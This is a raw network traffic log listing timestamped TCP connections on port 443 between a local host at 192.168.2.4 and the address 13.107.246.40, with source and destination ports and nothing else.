Nov 19, 2024 22:07:01.788548946 CET	443	49800	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.788608074 CET	443	49801	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.788633108 CET	49800	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.788938999 CET	443	49801	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.790987968 CET	49801	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.834630013 CET	49802	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.911622047 CET	49800	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.911672115 CET	443	49800	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.911705017 CET	49800	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.911721945 CET	443	49800	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.922302008 CET	49801	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.922364950 CET	443	49801	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.922452927 CET	49801	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.922472000 CET	443	49801	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.931230068 CET	49802	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.931248903 CET	443	49802	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.931683064 CET	49802	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.931693077 CET	443	49802	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.947753906 CET	49803	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.947803974 CET	443	49803	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.947885990 CET	49803	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.959182978 CET	49804	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.959264994 CET	443	49804	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.959355116 CET	49804	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.961447001 CET	49804	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.961479902 CET	443	49804	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.961519957 CET	49803	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.961555958 CET	443	49803	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.975680113 CET	49805	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.975759983 CET	443	49805	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.975842953 CET	49805	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.976150990 CET	49805	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.976181984 CET	443	49805	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.982629061 CET	49806	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.982664108 CET	443	49806	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.982738018 CET	49806	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.983587027 CET	49806	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.983608961 CET	443	49806	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.024955988 CET	443	49802	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.025132895 CET	443	49802	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.025206089 CET	49802	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.034030914 CET	49802	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.034030914 CET	49802	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.034069061 CET	443	49802	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.034095049 CET	443	49802	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.040157080 CET	49807	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.040190935 CET	443	49807	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.040271997 CET	49807	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.040684938 CET	49807	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.040712118 CET	443	49807	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.237023115 CET	443	49804	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.237417936 CET	49804	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.237476110 CET	443	49804	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.237813950 CET	49804	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.237827063 CET	443	49804	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.246471882 CET	443	49803	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.246761084 CET	49803	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.246814013 CET	443	49803	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.247155905 CET	49803	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.247170925 CET	443	49803	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.265913963 CET	443	49806	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.266180038 CET	49806	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.266196012 CET	443	49806	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.266555071 CET	49806	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.266566038 CET	443	49806	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.267541885 CET	443	49805	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.267842054 CET	49805	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.267916918 CET	443	49805	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.268191099 CET	49805	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.268205881 CET	443	49805	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.323055029 CET	443	49807	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.323383093 CET	49807	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.323421955 CET	443	49807	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.323853970 CET	49807	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.323865891 CET	443	49807	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.457123041 CET	443	49806	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.457458019 CET	443	49806	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.457530022 CET	49806	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.457611084 CET	49806	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.457611084 CET	49806	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.457653046 CET	443	49806	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.457681894 CET	443	49806	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.459182978 CET	443	49803	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.459511995 CET	443	49803	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.459580898 CET	49803	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.459868908 CET	49808	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.459942102 CET	443	49808	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.459994078 CET	49803	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.460015059 CET	443	49803	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.460040092 CET	49808	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.460040092 CET	49803	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.460088015 CET	443	49803	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.460766077 CET	443	49805	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.461016893 CET	49808	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.461045027 CET	443	49805	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.461045980 CET	443	49808	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.461114883 CET	49805	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.461184978 CET	49805	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.461184978 CET	49805	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.461219072 CET	443	49805	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.461244106 CET	443	49805	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.462382078 CET	49809	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.462466002 CET	443	49809	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.462543964 CET	49809	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.462649107 CET	49809	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.462656975 CET	443	49804	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.462671995 CET	443	49809	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.463298082 CET	443	49804	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.463375092 CET	49804	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.463717937 CET	49810	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.463742018 CET	443	49810	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.463769913 CET	49804	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.463769913 CET	49804	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.463787079 CET	443	49804	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.463802099 CET	49810	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.463809013 CET	443	49804	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.463922024 CET	49810	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.463948011 CET	443	49810	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.465297937 CET	49811	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.465318918 CET	443	49811	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.465382099 CET	49811	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.465478897 CET	49811	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.465491056 CET	443	49811	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.548652887 CET	443	49807	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.548852921 CET	443	49807	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.548950911 CET	49807	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.548998117 CET	49807	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.548998117 CET	49807	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.549020052 CET	443	49807	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.549041033 CET	443	49807	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.550592899 CET	49812	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.550635099 CET	443	49812	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.550729990 CET	49812	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.550826073 CET	49812	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.550854921 CET	443	49812	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.745430946 CET	443	49810	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.745990038 CET	49810	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.746022940 CET	443	49810	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.746388912 CET	49810	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.746401072 CET	443	49810	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.749919891 CET	443	49808	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.750240088 CET	49808	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.750281096 CET	443	49808	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.750582933 CET	49808	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.750592947 CET	443	49808	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.750782013 CET	443	49809	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.751038074 CET	49809	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.751076937 CET	443	49809	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.751301050 CET	443	49811	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.751355886 CET	49809	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.751368046 CET	443	49809	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.751533031 CET	49811	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.751548052 CET	443	49811	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.751827002 CET	49811	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.751837015 CET	443	49811	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.834450006 CET	443	49812	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.834918022 CET	49812	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.834948063 CET	443	49812	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.835330963 CET	49812	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.835345030 CET	443	49812	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.927548885 CET	443	49810	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.928067923 CET	443	49810	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.928260088 CET	49810	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.928260088 CET	49810	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.928260088 CET	49810	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.930859089 CET	49813	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.930943012 CET	443	49813	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.931025028 CET	49813	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.931128979 CET	443	49808	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.931139946 CET	49813	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.931162119 CET	443	49813	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.931592941 CET	443	49808	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.931653023 CET	49808	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.931705952 CET	49808	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.931705952 CET	49808	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.931739092 CET	443	49808	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.931763887 CET	443	49808	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.932172060 CET	443	49809	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.932362080 CET	443	49809	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.932444096 CET	49809	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.932545900 CET	49809	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.932564020 CET	443	49809	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.932574987 CET	49809	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.932579994 CET	443	49809	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.934076071 CET	49814	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.934159994 CET	443	49814	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.934252024 CET	49814	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.934410095 CET	49814	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.934447050 CET	443	49814	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.934628010 CET	49815	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.934648037 CET	443	49815	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.934721947 CET	49815	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.934835911 CET	49815	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.934859991 CET	443	49815	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.937218904 CET	443	49811	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.937403917 CET	443	49811	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.937462091 CET	49811	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.937488079 CET	49811	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.937493086 CET	443	49811	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.937503099 CET	49811	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.937506914 CET	443	49811	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.939548016 CET	49816	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.939583063 CET	443	49816	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:02.939652920 CET	49816	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.939785004 CET	49816	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:02.939809084 CET	443	49816	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.020606995 CET	443	49812	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.020833015 CET	443	49812	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.020910025 CET	49812	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.021019936 CET	49812	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.021019936 CET	49812	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.021060944 CET	443	49812	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.021087885 CET	443	49812	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.024003029 CET	49817	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.024086952 CET	443	49817	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.024310112 CET	49817	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.024537086 CET	49817	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.024578094 CET	443	49817	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.212234974 CET	443	49813	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.212846994 CET	49813	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.212904930 CET	443	49813	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.213435888 CET	49813	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.213449955 CET	443	49813	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.218333006 CET	443	49814	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.218755960 CET	49814	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.218812943 CET	443	49814	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.219155073 CET	49814	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.219166994 CET	443	49814	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.224683046 CET	443	49815	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.225060940 CET	49815	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.225089073 CET	443	49815	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.225622892 CET	49815	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.225632906 CET	443	49815	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.237711906 CET	443	49816	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.238050938 CET	49816	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.238064051 CET	443	49816	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.238513947 CET	49816	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.238519907 CET	443	49816	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.240787983 CET	49810	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.240845919 CET	443	49810	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.311808109 CET	443	49817	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.312201977 CET	49817	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.312249899 CET	443	49817	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.312738895 CET	49817	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.312752008 CET	443	49817	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.398597956 CET	443	49814	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.398788929 CET	443	49814	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.398910999 CET	49814	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.399096012 CET	49814	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.399139881 CET	443	49814	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.399169922 CET	49814	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.399184942 CET	443	49814	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.404381037 CET	443	49815	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.404578924 CET	443	49815	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.404673100 CET	49815	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.405175924 CET	443	49813	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.405206919 CET	443	49813	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.405555010 CET	443	49813	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.405615091 CET	49813	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.408437014 CET	49818	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.408476114 CET	443	49818	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.408543110 CET	49818	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.408618927 CET	49815	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.408662081 CET	443	49815	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.408693075 CET	49815	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.408706903 CET	443	49815	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.409440994 CET	49818	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.409459114 CET	443	49818	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.409689903 CET	49813	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.409702063 CET	443	49813	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.409742117 CET	49813	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.409753084 CET	443	49813	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.411488056 CET	49819	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.411547899 CET	443	49819	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.411622047 CET	49819	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.411751986 CET	49819	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.411777973 CET	49820	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.411784887 CET	443	49819	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.411823034 CET	443	49820	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.411902905 CET	49820	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.412035942 CET	49820	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.412055969 CET	443	49820	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.418600082 CET	443	49816	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.418651104 CET	443	49816	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.418777943 CET	443	49816	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.418816090 CET	49816	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.418840885 CET	49816	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.418890953 CET	49816	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.418901920 CET	443	49816	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.418916941 CET	49816	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.418921947 CET	443	49816	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.421098948 CET	49821	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.421181917 CET	443	49821	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.421264887 CET	49821	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.421390057 CET	49821	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.421416044 CET	443	49821	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.492731094 CET	443	49817	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.492795944 CET	443	49817	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.492861032 CET	49817	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.492892981 CET	443	49817	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.492943048 CET	443	49817	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.492952108 CET	49817	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.493000031 CET	49817	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.493072033 CET	49817	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.493093014 CET	443	49817	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.493155003 CET	49817	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.493168116 CET	443	49817	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.495136976 CET	49822	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.495156050 CET	443	49822	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.495213032 CET	49822	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.495306969 CET	49822	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.495321989 CET	443	49822	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.694545031 CET	443	49819	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.695173979 CET	49819	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.695219994 CET	443	49819	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.695581913 CET	49819	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.695595026 CET	443	49819	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.696053982 CET	443	49818	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.698224068 CET	443	49820	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.698473930 CET	49818	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.698491096 CET	443	49818	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.698810101 CET	49818	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.698813915 CET	443	49818	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.698988914 CET	49820	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.699018955 CET	443	49820	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.699309111 CET	49820	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.699325085 CET	443	49820	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.714647055 CET	443	49821	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.715368986 CET	49821	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.715428114 CET	443	49821	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.715894938 CET	49821	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.715908051 CET	443	49821	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.774837971 CET	443	49822	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.775329113 CET	49822	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.775342941 CET	443	49822	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.775881052 CET	49822	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.775887012 CET	443	49822	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.876179934 CET	443	49819	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.876265049 CET	443	49819	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.876574039 CET	49819	443	192.168.2.4	13.107.246.40
